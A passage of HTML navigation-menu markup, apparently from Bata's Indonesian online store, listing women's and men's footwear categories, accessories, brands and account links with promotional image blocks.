  518.    <div class="cc-menu__secondLevelColumn__wrapper"><div class="cc-menu__secondLevelColumn__wrapper-inner">
  519.  
  520.  
  521.  
  522.  
  523.  
  524.    <div class="cc-menu__thirdLevelItemsSection">
  525.        
  526.            <span class="cc-menu__thirdLevelItemsSSection__title cc-menu__secondLevelColumn-title">
  527.                KATEGORI ALAS KAKI
  528.            </span>
  529.        
  530.        
  531.            <a class="cc-menu__level__link cc-menu__thirdLevel__link" href="/id/wanita/alas-kaki/flats/" aria-label="Flats">
  532.                <span class="cc-menu__thirdLevel__title">Flats</span>
  533.            </a>
  534.        
  535.            <a class="cc-menu__level__link cc-menu__thirdLevel__link" href="/id/wanita/alas-kaki/heels/" aria-label="Heels">
  536.                <span class="cc-menu__thirdLevel__title">Heels</span>
  537.            </a>
  538.        
  539.            <a class="cc-menu__level__link cc-menu__thirdLevel__link" href="/id/wanita/alas-kaki/sandal/" aria-label="Sandal">
  540.                <span class="cc-menu__thirdLevel__title">Sandal</span>
  541.            </a>
  542.        
  543.            <a class="cc-menu__level__link cc-menu__thirdLevel__link" href="/id/wanita/alas-kaki/sneakers/" aria-label="Sneakers">
  544.                <span class="cc-menu__thirdLevel__title">Sneakers</span>
  545.            </a>
  546.        
  547.            <a class="cc-menu__level__link cc-menu__thirdLevel__link" href="/id/wanita/alas-kaki/sepatu-olahraga/" aria-label="Sepatu Olahraga">
  548.                <span class="cc-menu__thirdLevel__title">Sepatu Olahraga</span>
  549.            </a>
  550.        
  551.            <a class="cc-menu__level__link cc-menu__thirdLevel__link" href="/id/wanita/alas-kaki/wedges/" aria-label="Wedges">
  552.                <span class="cc-menu__thirdLevel__title">Wedges</span>
  553.            </a>
  554.        
  555.        <a class="cc-menu__level__link cc-menu__thirdLevel__link" href="/id/wanita/alas-kaki/">
  556.            <span class="cc-menu__thirdLevel__title cc-menu__thirdLevel__showAll">Tampilkan semua</span>
  557.        </a>
  558.    </div>
  559.  
  560. </div></div>
  561. </div></div><div class="experience-component experience-menu-menuSecondLevelColumn">
  562.  
  563.  
  564.  
  565. <div class="cc-menu__secondLevelColumn">
  566.    
  567.    <div class="cc-menu__secondLevelColumn__wrapper"><div class="cc-menu__secondLevelColumn__wrapper-inner"><div class="cc-menu__singleBlockSection">
  568.    
  569.        <span class="cc-menu__singleBlockSection__title cc-menu__secondLevelColumn-title">
  570.            TREN
  571.        </span>
  572.    
  573.    <a href="https://www.bata.com/id/wanita/alas-kaki/" class="cc-menu__singleBlockSection__link">
  574.        <div class="cc-menu__singleBlockSection__overlay">
  575.        </div>
  576.        <picture class="cc-menu__singleBlockSection__image">
  577.            <source srcset="https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-Library/default/dw7fb4d0aa/menu/woman-shoes.jpg?sw=343&amp;q=100" media="(min-width: 1024px)" width="343" height="458" />
  578.            <source srcset="https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-Library/default/dw7fb4d0aa/menu/woman-shoes.jpg?sw=343&amp;q=100" media="(min-width: 768px)" width="343" height="458" />
  579.            <img class="cc-img b-lazyload"
  580.                src="data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20viewBox%3D%220%200%20343%20458%22%3E%3C%2Fsvg%3E"
  581.                data-srcset="https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-Library/default/dw7fb4d0aa/menu/woman-shoes.jpg?sw=343&amp;q=100" alt="" title="" width="343" height="458" loading="lazy" />
  582.        </picture>
  583.        
  584.            <div class="cc-menu__singleBlockSection__text">
  585.                
  586.                    <span class="cc-menu__singleBlockSection__text1">
  587.                        BARU YANG DATANG
  588.                    </span>
  589.                
  590.                
  591.                    <span class="cc-menu__singleBlockSection__text2">
  592.                        AMBIL LANGKAH PERTAMA
  593.                    </span>
  594.                
  595.                
  596.                    <span class="cc-menu__singleBlockSection__text3">
  597.                        BUKA JALANMU
  598.                    </span>
  599.                
  600.            </div>
  601.        
  602.    </a>
  603. </div></div></div>
  604. </div></div></div>
  605.    </ul>
  606. </div>
  607. </div><div class="cc-menu__secondLevel__wrapper-inner">
  608.  
  609.  
  610.  
  611. <div class="cc-menu__secondLevel__link-wrapper js-menuSecondLevelItem ">
  612.    
  613.    
  614.        <a class="cc-menu__level__link cc-menu__secondLevel__link" href="https://www.bata.com/id/wanita/aksesoris/" data-menu-index="2" aria-label="Aksesoris" aria-expanded="false">
  615.            <span class="cc-menu__level__title cc-menu__secondLevel__title">Aksesoris</span>
  616.        </a>
  617.        <svg class="iconClassCommon cc-menu__secondLevel-arrow-icon large">
  618.    <use href="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/images/sprite/sprite.svg#arrow-right-red" />
  619. </svg>
  620.    
  621. </div>
  622.  
  623. <div class="cc-menu__level cc-menu__thirdLevel js-menuThirdLevel">
  624.    <div class="cc-menu__thirdLevel-back d-lg-none js-backButton">
  625.        <svg class="iconClassCommon cc-menu__thirdLevel-back-icon small">
  626.    <use href="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/images/sprite/sprite.svg#arrow-left-grey" />
  627. </svg>
  628.        
  629.            <span class="cc-menu__thirdLevel-back-title">Wanita Aksesoris</span>
  630.        
  631.    </div>
  632.    <ul class="cc-menu__thirdLevel__wrapper js-menuThirdLevelWrapper">
  633.        <div class="experience-region experience-thirdLevelColumnRegion"><div class="experience-component experience-menu-menuSecondLevelColumn">
  634.  
  635.  
  636.  
  637. <div class="cc-menu__secondLevelColumn">
  638.    
  639.    <div class="cc-menu__secondLevelColumn__wrapper"><div class="cc-menu__secondLevelColumn__wrapper-inner">
  640.  
  641.  
  642.  
  643.  
  644.  
  645.    <div class="cc-menu__thirdLevelItemsSection">
  646.        
  647.            <span class="cc-menu__thirdLevelItemsSSection__title cc-menu__secondLevelColumn-title">
  648.                Kategori Aksesori
  649.            </span>
  650.        
  651.        
  652.            <a class="cc-menu__level__link cc-menu__thirdLevel__link" href="/id/wanita/aksesoris/tas/" aria-label="Tas">
  653.                <span class="cc-menu__thirdLevel__title">Tas</span>
  654.            </a>
  655.        
  656.            <a class="cc-menu__level__link cc-menu__thirdLevel__link" href="/id/wanita/aksesoris/perawatan-sepatu/" aria-label="Perawatan Sepatu">
  657.                <span class="cc-menu__thirdLevel__title">Perawatan Sepatu</span>
  658.            </a>
  659.        
  660.            <a class="cc-menu__level__link cc-menu__thirdLevel__link" href="/id/wanita/aksesoris/dompet/" aria-label="Dompet">
  661.                <span class="cc-menu__thirdLevel__title">Dompet</span>
  662.            </a>
  663.        
  664.        <a class="cc-menu__level__link cc-menu__thirdLevel__link" href="/id/wanita/aksesoris/">
  665.            <span class="cc-menu__thirdLevel__title cc-menu__thirdLevel__showAll">Tampilkan semua</span>
  666.        </a>
  667.    </div>
  668.  
  669. </div></div>
  670. </div></div><div class="experience-component experience-menu-menuSecondLevelColumn">
  671.  
  672.  
  673.  
  674. <div class="cc-menu__secondLevelColumn">
  675.    
  676.    <div class="cc-menu__secondLevelColumn__wrapper"><div class="cc-menu__secondLevelColumn__wrapper-inner"><div class="cc-menu__singleBlockSection">
  677.    
  678.        <span class="cc-menu__singleBlockSection__title cc-menu__secondLevelColumn-title">
  679.            TREN
  680.        </span>
  681.    
  682.    <a href="https://www.bata.com/id/wanita/aksesoris/tas/" class="cc-menu__singleBlockSection__link">
  683.        <div class="cc-menu__singleBlockSection__overlay">
  684.        </div>
  685.        <picture class="cc-menu__singleBlockSection__image">
  686.            <source srcset="https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-Library/default/dwd2f13349/menu/woman-accessories.jpg?sw=343&amp;q=100" media="(min-width: 1024px)" width="343" height="457" />
  687.            <source srcset="https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-Library/default/dwd2f13349/menu/woman-accessories.jpg?sw=375&amp;q=100" media="(min-width: 768px)" width="375" height="500" />
  688.            <img class="cc-img b-lazyload"
  689.                src="data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20viewBox%3D%220%200%20375%20500%22%3E%3C%2Fsvg%3E"
  690.                data-srcset="https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-Library/default/dwd2f13349/menu/woman-accessories.jpg?sw=375&amp;q=100" alt="" title="" width="375" height="500" loading="lazy" />
  691.        </picture>
  692.        
  693.            <div class="cc-menu__singleBlockSection__text">
  694.                
  695.                
  696.                    <span class="cc-menu__singleBlockSection__text2">
  697.                        AKSESORIS
  698.                    </span>
  699.                
  700.                
  701.                    <span class="cc-menu__singleBlockSection__text3">
  702.                        POLA BUNGA
  703.                    </span>
  704.                
  705.            </div>
  706.        
  707.    </a>
  708. </div></div></div>
  709. </div></div></div>
  710.    </ul>
  711. </div>
  712. </div><div class="cc-menu__secondLevel__wrapper-inner">
  713.  
  714.  
  715.  
  716. <div class="cc-menu__secondLevel__link-wrapper js-menuSecondLevelItem ">
  717.    
  718.    
  719.        <a class="cc-menu__level__link cc-menu__secondLevel__link" href="https://www.bata.com/id/wanita/brand/" data-menu-index="2" aria-label="Brands" aria-expanded="false">
  720.            <span class="cc-menu__level__title cc-menu__secondLevel__title">Brands</span>
  721.        </a>
  722.        <svg class="iconClassCommon cc-menu__secondLevel-arrow-icon large">
  723.    <use href="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/images/sprite/sprite.svg#arrow-right-red" />
  724. </svg>
  725.    
  726. </div>
  727.  
  728. <div class="cc-menu__level cc-menu__thirdLevel js-menuThirdLevel">
  729.    <div class="cc-menu__thirdLevel-back d-lg-none js-backButton">
  730.        <svg class="iconClassCommon cc-menu__thirdLevel-back-icon small">
  731.    <use href="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/images/sprite/sprite.svg#arrow-left-grey" />
  732. </svg>
  733.        
  734.            <span class="cc-menu__thirdLevel-back-title">Wanita Brands</span>
  735.        
  736.    </div>
  737.    <ul class="cc-menu__thirdLevel__wrapper js-menuThirdLevelWrapper">
  738.        <div class="experience-region experience-thirdLevelColumnRegion"><div class="experience-component experience-menu-menuSecondLevelColumn">
  739.  
  740.  
  741.  
  742. <div class="cc-menu__secondLevelColumn">
  743.    
  744.    <div class="cc-menu__secondLevelColumn__wrapper"><div class="cc-menu__secondLevelColumn__wrapper-inner">
  745.  
  746.  
  747.  
  748.  
  749.  
  750.    <div class="cc-menu__thirdLevelItemsSection">
  751.        
  752.            <span class="cc-menu__thirdLevelItemsSSection__title cc-menu__secondLevelColumn-title">
  753.                Kategori Brand
  754.            </span>
  755.        
  756.        
  757.            <a class="cc-menu__level__link cc-menu__thirdLevel__link" href="/id/wanita/brand/north-star/" aria-label="North Star">
  758.                <span class="cc-menu__thirdLevel__title">North Star</span>
  759.            </a>
  760.        
  761.            <a class="cc-menu__level__link cc-menu__thirdLevel__link" href="/id/wanita/brand/power/" aria-label="Power">
  762.                <span class="cc-menu__thirdLevel__title">Power</span>
  763.            </a>
  764.        
  765.            <a class="cc-menu__level__link cc-menu__thirdLevel__link" href="/id/wanita/brand/bata-3d/" aria-label="Bata 3D">
  766.                <span class="cc-menu__thirdLevel__title">Bata 3D</span>
  767.            </a>
  768.        
  769.            <a class="cc-menu__level__link cc-menu__thirdLevel__link" href="/id/wanita/brand/marie-claire/" aria-label="Marie Claire">
  770.                <span class="cc-menu__thirdLevel__title">Marie Claire</span>
  771.            </a>
  772.        
  773.            <a class="cc-menu__level__link cc-menu__thirdLevel__link" href="/id/wanita/brand/mc-collection/" aria-label="MC Collection">
  774.                <span class="cc-menu__thirdLevel__title">MC Collection</span>
  775.            </a>
  776.        
  777.            <a class="cc-menu__level__link cc-menu__thirdLevel__link" href="/id/wanita/brand/prive/" aria-label="Prive">
  778.                <span class="cc-menu__thirdLevel__title">Prive</span>
  779.            </a>
  780.        
  781.            <a class="cc-menu__level__link cc-menu__thirdLevel__link" href="/id/wanita/brand/bata-comfit/" aria-label="Bata Comfit">
  782.                <span class="cc-menu__thirdLevel__title">Bata Comfit</span>
  783.            </a>
  784.        
  785.            <a class="cc-menu__level__link cc-menu__thirdLevel__link" href="/id/wanita/brand/bata/" aria-label="Bata">
  786.                <span class="cc-menu__thirdLevel__title">Bata</span>
  787.            </a>
  788.        
  789.            <a class="cc-menu__level__link cc-menu__thirdLevel__link" href="/id/wanita/brand/patapata/" aria-label="PataPata">
  790.                <span class="cc-menu__thirdLevel__title">PataPata</span>
  791.            </a>
  792.        
  793.            <a class="cc-menu__level__link cc-menu__thirdLevel__link" href="/id/wanita/brand/sandak/" aria-label="Sandak">
  794.                <span class="cc-menu__thirdLevel__title">Sandak</span>
  795.            </a>
  796.        
  797.            <a class="cc-menu__level__link cc-menu__thirdLevel__link" href="/id/wanita/brand/bata-red-label/" aria-label="Bata Red Label">
  798.                <span class="cc-menu__thirdLevel__title">Bata Red Label</span>
  799.            </a>
  800.        
  801.        <a class="cc-menu__level__link cc-menu__thirdLevel__link" href="/id/wanita/brand/">
  802.            <span class="cc-menu__thirdLevel__title cc-menu__thirdLevel__showAll">Tampilkan semua</span>
  803.        </a>
  804.    </div>
  805.  
  806. </div></div>
  807. </div></div></div>
  808.    </ul>
  809. </div>
  810. </div><div class="cc-menu__secondLevel__wrapper-inner">
  811.  
  812.  
  813.  
  814. <div class="cc-menu__secondLevel__link-wrapper js-menuSecondLevelItem ">
  815.    
  816.        <div class="cc-menu__secondLevel__sale-icon">
  817.            %
  818.        </div>
  819.    
  820.    
  821.        <a class="cc-menu__level__link cc-menu__secondLevel__link" href="https://www.bata.com/id/diskon/wanita/" data-menu-index="2" aria-label="Diskon" aria-expanded="false">
  822.            <span class="cc-menu__level__title cc-menu__secondLevel__title">Diskon</span>
  823.        </a>
  824.        <svg class="iconClassCommon cc-menu__secondLevel-arrow-icon large">
  825.    <use href="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/images/sprite/sprite.svg#arrow-right-red" />
  826. </svg>
  827.    
  828. </div>
  829.  
  830. <div class="cc-menu__level cc-menu__thirdLevel js-menuThirdLevel">
  831.    <div class="cc-menu__thirdLevel-back d-lg-none js-backButton">
  832.        <svg class="iconClassCommon cc-menu__thirdLevel-back-icon small">
  833.    <use href="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/images/sprite/sprite.svg#arrow-left-grey" />
  834. </svg>
  835.        
  836.            <span class="cc-menu__thirdLevel-back-title">Wanita Diskon</span>
  837.        
  838.    </div>
  839.    <ul class="cc-menu__thirdLevel__wrapper js-menuThirdLevelWrapper">
  840.        <div class="experience-region experience-thirdLevelColumnRegion"></div>
  841.    </ul>
  842. </div>
  843. </div></div>
  844.        
  845. <div class="cc-menu__secondLevel__content">
  846.    <div class="cc-menu__secondLevel__content-links">
  847.        <div class="cc-menu__secondLevel__content-link__item">
  848.            
  849.            
  850.                
  851.                <a href="https://www.bata.com/id/bata_club.html" class="cc-menu__secondLevel__content-link__item-text">
  852.                    <svg class="iconClassCommon cc-menu__secondLevel__content-link__item-icon">
  853.    <use href="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/images/sprite/sprite.svg#bata-club" />
  854. </svg>
  855.                    Bata Club
  856.                </a>
  857.            
  858.        </div>
  859.        <div class="cc-menu__secondLevel__content-link__item">
  860.            <a href="/id/storesfind" class="cc-menu__secondLevel__content-link__item-text">
  861.                <svg class="iconClassCommon cc-menu__secondLevel__content-link__item-icon">
  862.    <use href="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/images/sprite/sprite.svg#find-store" />
  863. </svg>
  864.                Temukan toko
  865.            </a>
  866.        </div>
  867.        <div class="cc-menu__secondLevel__content-link__item">
  868.            <a href="https://www.bata.com/id/pesanan/tracking" class="cc-menu__secondLevel__content-link__item-text">
  869.                <svg class="iconClassCommon cc-menu__secondLevel__content-link__item-icon cc-menu__secondLevel__content-link__item-iconWithStoke">
  870.    <use href="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/images/sprite/sprite.svg#track-order" />
  871. </svg>
  872.                Lacak pesananmu
  873.            </a>
  874.        </div>
  875.        <div class="cc-menu__secondLevel__content-link__item">
  876.            <a href="https://www.bata.com/id/contact-us.html" class="cc-menu__secondLevel__content-link__item-text">
  877.                <svg class="iconClassCommon cc-menu__secondLevel__content-link__item-icon cc-menu__secondLevel__content-link__item-iconWithStoke">
  878.    <use href="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/images/sprite/sprite.svg#contact-us" />
  879. </svg>
  880.                Kontak
  881.            </a>
  882.        </div>
  883.    </div>
  884.  
  885.    
  886.  
  887.  
  888.  
  889.  
  890. <div class="cc-menu__secondLevel__content-profile">
  891.    <div class="cc-menu__secondLevel__content-profile__item">
  892.        <a href="https://www.bata.com/id/akun/account" class="cc-menu__secondLevel__content-link__item-text">
  893.            <svg class="iconClassCommon cc-menu__secondLevel__content-link__item-icon">
  894.    <use href="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/images/sprite/sprite.svg#icon-account" />
  895. </svg>
  896.            
  897.                Akun saya
  898.            
  899.        </a>
  900.    </div>
  901.    <div class="cc-menu__secondLevel__content-profile__item">
  902.        <a href="https://www.bata.com/id/wishlist?rurl=3" class="cc-menu__secondLevel__content-link__item-text">
  903.            <svg class="iconClassCommon cc-menu__secondLevel__content-link__item-icon">
  904.    <use href="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/images/sprite/sprite.svg#icon-wishlist" />
  905. </svg>
  906.            Daftar Keinginan
  907.        </a>
  908.    </div>
  909. </div>
  910.  
  911. </div>
  912.  
  913.    </div>
  914. </div>
  915. </li><li class="cc-menu__level cc-menu__firstLevel__item js-menuFirstLevelItem">
  916.  
  917.  
  918.  
  919.  
  920.  
  921.    <div class="cc-menu__level__link cc-menu__firstLevel__link d-none d-lg-block" data-menu-index="2" aria-label="Pria" aria-expanded="false">
  922.        <span class="cc-menu__level__title cc-menu__firstLevel__title">Pria</span>
  923.    </div>
  924.  
  925. <div class="cc-menu__level cc-menu__secondLevel js-menuSecondLevel">
  926.    <div class="cc-menu__secondLevel__wrapper">
  927.        <div class="experience-region experience-secondLevelColumnRegion"><div class="cc-menu__secondLevel__wrapper-inner">
  928.  
  929.  
  930.  
  931. <div class="cc-menu__secondLevel__link-wrapper js-menuSecondLevelItem ">
  932.    
  933.    
  934.        <a class="cc-menu__level__link cc-menu__secondLevel__link" href="https://www.bata.com/id/koleksi-terbaru/pria/" data-menu-index="2" aria-label="Baru &amp; Trend" aria-expanded="false">
  935.            <span class="cc-menu__level__title cc-menu__secondLevel__title">Baru &amp; Trend</span>
  936.        </a>
  937.        <svg class="iconClassCommon cc-menu__secondLevel-arrow-icon large">
  938.    <use href="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/images/sprite/sprite.svg#arrow-right-red" />
  939. </svg>
  940.    
  941. </div>
  942.  
  943. <div class="cc-menu__level cc-menu__thirdLevel js-menuThirdLevel">
  944.    <div class="cc-menu__thirdLevel-back d-lg-none js-backButton">
  945.        <svg class="iconClassCommon cc-menu__thirdLevel-back-icon small">
  946.    <use href="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/images/sprite/sprite.svg#arrow-left-grey" />
  947. </svg>
  948.        
  949.            <span class="cc-menu__thirdLevel-back-title">Pria Baru &amp; Trend</span>
  950.        
  951.    </div>
  952.    <ul class="cc-menu__thirdLevel__wrapper js-menuThirdLevelWrapper">
  953.        <div class="experience-region experience-thirdLevelColumnRegion"><div class="experience-component experience-menu-menuSecondLevelColumn">
  954.  
  955.  
  956.  
  957. <div class="cc-menu__secondLevelColumn">
  958.    
  959.    <div class="cc-menu__secondLevelColumn__wrapper"><div class="cc-menu__secondLevelColumn__wrapper-inner"><div class="cc-menu__thirdLevelItemsSection cc-menu__thirdLevelSecondaryLinks">
  960.    
  961.        <span class="cc-menu__thirdLevelItemsSSection__title cc-menu__secondLevelColumn-title">
  962.            Kategori Baru &amp; Tren
  963.        </span>
  964.    
  965.    <div class="cc-menu__thirdLevelItemsSection"><div class="cc-menu__thirdLevel__item">
  966.    <a class="cc-menu__level__link cc-menu__thirdLevel__link" href="https://www.bata.com/id/pria/brand/north-star/" aria-label="North Star">
  967.        <span class="cc-menu__thirdLevel__title">North Star</span>
  968.    </a>
  969. </div><div class="cc-menu__thirdLevel__item">
  970.    <a class="cc-menu__level__link cc-menu__thirdLevel__link" href="https://www.bata.com/id/koleksi-terbaru/pria/" aria-label="Koleksi Terbaru">
  971.        <span class="cc-menu__thirdLevel__title">Koleksi Terbaru</span>
  972.    </a>
  973. </div></div>
  974. </div>
  975. </div></div>
  976. </div></div></div>
  977.    </ul>
  978. </div>
  979. </div><div class="cc-menu__secondLevel__wrapper-inner">
  980.  
  981.  
  982.  
  983. <div class="cc-menu__secondLevel__link-wrapper js-menuSecondLevelItem js-openFirst">
  984.    
  985.    
  986.        <a class="cc-menu__level__link cc-menu__secondLevel__link" href="https://www.bata.com/id/pria/alas-kaki/" data-menu-index="2" aria-label="Alas kaki" aria-expanded="false">
  987.            <span class="cc-menu__level__title cc-menu__secondLevel__title">Alas kaki</span>
  988.        </a>
  989.        <svg class="iconClassCommon cc-menu__secondLevel-arrow-icon large">
  990.    <use href="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/images/sprite/sprite.svg#arrow-right-red" />
  991. </svg>
  992.    
  993. </div>
  994.  
  995. <div class="cc-menu__level cc-menu__thirdLevel js-menuThirdLevel">
  996.    <div class="cc-menu__thirdLevel-back d-lg-none js-backButton">
  997.        <svg class="iconClassCommon cc-menu__thirdLevel-back-icon small">
  998.    <use href="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/images/sprite/sprite.svg#arrow-left-grey" />
  999. </svg>
  1000.        
  1001.            <span class="cc-menu__thirdLevel-back-title">Pria Alas Kaki</span>
  1002.        
  1003.    </div>
  1004.    <ul class="cc-menu__thirdLevel__wrapper js-menuThirdLevelWrapper">
  1005.        <div class="experience-region experience-thirdLevelColumnRegion"><div class="experience-component experience-menu-menuSecondLevelColumn">
  1006.  
  1007.  
  1008.  
  1009. <div class="cc-menu__secondLevelColumn">
  1010.    
  1011.    <div class="cc-menu__secondLevelColumn__wrapper"><div class="cc-menu__secondLevelColumn__wrapper-inner">
  1012.  
  1013.  
  1014.  
  1015.  
  1016.  
  1017.    <div class="cc-menu__thirdLevelItemsSection">
  1018.        
  1019.            <span class="cc-menu__thirdLevelItemsSSection__title cc-menu__secondLevelColumn-title">
  1020.                Kategori Alas Kaki
  1021.            </span>
  1022.        
  1023.        
  1024.            <a class="cc-menu__level__link cc-menu__thirdLevel__link" href="/id/pria/alas-kaki/sepatu-formal/" aria-label="Sepatu Formal">
  1025.                <span class="cc-menu__thirdLevel__title">Sepatu Formal</span>
  1026.            </a>
  1027.        
  1028.            <a class="cc-menu__level__link cc-menu__thirdLevel__link" href="/id/pria/alas-kaki/sepatu-outdoor/" aria-label="Sepatu Outdoor">
  1029.                <span class="cc-menu__thirdLevel__title">Sepatu Outdoor</span>
  1030.            </a>
  1031.        
  1032.            <a class="cc-menu__level__link cc-menu__thirdLevel__link" href="/id/pria/alas-kaki/sandal/" aria-label="Sandal">
  1033.                <span class="cc-menu__thirdLevel__title">Sandal</span>
  1034.            </a>
  1035.        
  1036.            <a class="cc-menu__level__link cc-menu__thirdLevel__link" href="/id/pria/alas-kaki/sneakers/" aria-label="Sneakers">
  1037.                <span class="cc-menu__thirdLevel__title">Sneakers</span>
  1038.            </a>
  1039.        
  1040.        <a class="cc-menu__level__link cc-menu__thirdLevel__link" href="/id/pria/alas-kaki/">
  1041.            <span class="cc-menu__thirdLevel__title cc-menu__thirdLevel__showAll">Tampilkan semua</span>
  1042.        </a>
  1043.    </div>
  1044.  
  1045. </div></div>
  1046. </div></div><div class="experience-component experience-menu-menuSecondLevelColumn">
  1047.  
  1048.  
  1049.  
  1050. <div class="cc-menu__secondLevelColumn">
  1051.    
  1052.    <div class="cc-menu__secondLevelColumn__wrapper"><div class="cc-menu__secondLevelColumn__wrapper-inner"><div class="cc-menu__singleBlockSection">
  1053.    
  1054.        <span class="cc-menu__singleBlockSection__title cc-menu__secondLevelColumn-title">
  1055.            TREN
  1056.        </span>
  1057.    
  1058.    <a href="https://www.bata.com/id/wanita/alas-kaki/" class="cc-menu__singleBlockSection__link">
  1059.        <div class="cc-menu__singleBlockSection__overlay">
  1060.        </div>
  1061.        <picture class="cc-menu__singleBlockSection__image">
  1062.            <source srcset="https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-Library/default/dw08ad79ff/menu/Single%20block_3.jpg?sw=343&amp;q=100" media="(min-width: 1024px)" width="343" height="457" />
  1063.            <source srcset="https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-Library/default/dw08ad79ff/menu/Single%20block_3.jpg?sw=375&amp;q=100" media="(min-width: 768px)" width="375" height="500" />
  1064.            <img class="cc-img b-lazyload"
  1065.                src="data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20viewBox%3D%220%200%20375%20500%22%3E%3C%2Fsvg%3E"
  1066.                data-srcset="https://www.bata.com/dw/image/v2/BCLG_PRD/on/demandware.static/-/Sites-bata-id-Library/default/dw08ad79ff/menu/Single%20block_3.jpg?sw=375&amp;q=100" alt="" title="" width="375" height="500" loading="lazy" />
  1067.        </picture>
  1068.        
  1069.            <div class="cc-menu__singleBlockSection__text">
  1070.                
  1071.                    <span class="cc-menu__singleBlockSection__text1">
  1072.                        KEDATANGAN BARU
  1073.                    </span>
  1074.                
  1075.                
  1076.                    <span class="cc-menu__singleBlockSection__text2">
  1077.                        AMBIL LANGKAH PERTAMA
  1078.                    </span>
  1079.                
  1080.                
  1081.                    <span class="cc-menu__singleBlockSection__text3">
  1082.                        BUKA JALANMU
  1083.                    </span>
  1084.                
  1085.            </div>
  1086.        
  1087.    </a>
  1088. </div></div></div>
  1089. </div></div></div>
  1090.    </ul>
  1091. </div>
  1092. </div><div class="cc-menu__secondLevel__wrapper-inner">
  1093.  
  1094.  
  1095.  
  1096. <div class="cc-menu__secondLevel__link-wrapper js-menuSecondLevelItem ">
  1097.    
  1098.    
  1099.        <a class="cc-menu__level__link cc-menu__secondLevel__link" href="https://www.bata.com/id/pria/aksesoris/" data-menu-index="2" aria-label="Aksesoris" aria-expanded="false">
  1100.            <span class="cc-menu__level__title cc-menu__secondLevel__title">Aksesoris</span>
  1101.        </a>
  1102.        <svg class="iconClassCommon cc-menu__secondLevel-arrow-icon large">
  1103.    <use href="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/images/sprite/sprite.svg#arrow-right-red" />
  1104. </svg>
  1105.    
  1106. </div>
  1107.  
  1108. <div class="cc-menu__level cc-menu__thirdLevel js-menuThirdLevel">
  1109.    <div class="cc-menu__thirdLevel-back d-lg-none js-backButton">
  1110.        <svg class="iconClassCommon cc-menu__thirdLevel-back-icon small">
  1111.    <use href="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/images/sprite/sprite.svg#arrow-left-grey" />
  1112. </svg>
  1113.        
  1114.            <span class="cc-menu__thirdLevel-back-title">Pria Aksesoris</span>
  1115.        
  1116.    </div>
  1117.    <ul class="cc-menu__thirdLevel__wrapper js-menuThirdLevelWrapper">
  1118.        <div class="experience-region experience-thirdLevelColumnRegion"><div class="experience-component experience-menu-menuSecondLevelColumn">
  1119.  
  1120.  
  1121.  
  1122. <div class="cc-menu__secondLevelColumn">
  1123.    
  1124.    <div class="cc-menu__secondLevelColumn__wrapper"><div class="cc-menu__secondLevelColumn__wrapper-inner">
  1125.  
  1126.  
  1127.  
  1128.  
  1129.  
  1130.    <div class="cc-menu__thirdLevelItemsSection">
  1131.        
  1132.            <span class="cc-menu__thirdLevelItemsSSection__title cc-menu__secondLevelColumn-title">
  1133.                Kategori Aksesoris
  1134.            </span>
  1135.        
  1136.        
  1137.            <a class="cc-menu__level__link cc-menu__thirdLevel__link" href="/id/pria/aksesoris/ikat-pinggang/" aria-label="Ikat Pinggang">
  1138.                <span class="cc-menu__thirdLevel__title">Ikat Pinggang</span>
  1139.            </a>
  1140.        
  1141.            <a class="cc-menu__level__link cc-menu__thirdLevel__link" href="/id/pria/aksesoris/tas-pria/" aria-label="Tas Pria">
  1142.                <span class="cc-menu__thirdLevel__title">Tas Pria</span>
  1143.            </a>
  1144.        
  1145.            <a class="cc-menu__level__link cc-menu__thirdLevel__link" href="/id/pria/aksesoris/kaos-kaki/" aria-label="Kaos Kaki">
  1146.                <span class="cc-menu__thirdLevel__title">Kaos Kaki</span>
  1147.            </a>
  1148.        
  1149.        <a class="cc-menu__level__link cc-menu__thirdLevel__link" href="/id/pria/aksesoris/">
  1150.            <span class="cc-menu__thirdLevel__title cc-menu__thirdLevel__showAll">Tampilkan semua</span>
  1151.        </a>
  1152.    </div>
  1153.  
  1154. </div></div>
  1155. </div></div></div>
  1156.    </ul>
  1157. </div>
  1158. </div><div class="cc-menu__secondLevel__wrapper-inner">
  1159.  
  1160.  
  1161.  
  1162. <div class="cc-menu__secondLevel__link-wrapper js-menuSecondLevelItem ">
  1163.    
  1164.    
  1165.        <a class="cc-menu__level__link cc-menu__secondLevel__link" href="https://www.bata.com/id/pria/brand/" data-menu-index="2" aria-label="Brands" aria-expanded="false">
  1166.            <span class="cc-menu__level__title cc-menu__secondLevel__title">Brands</span>
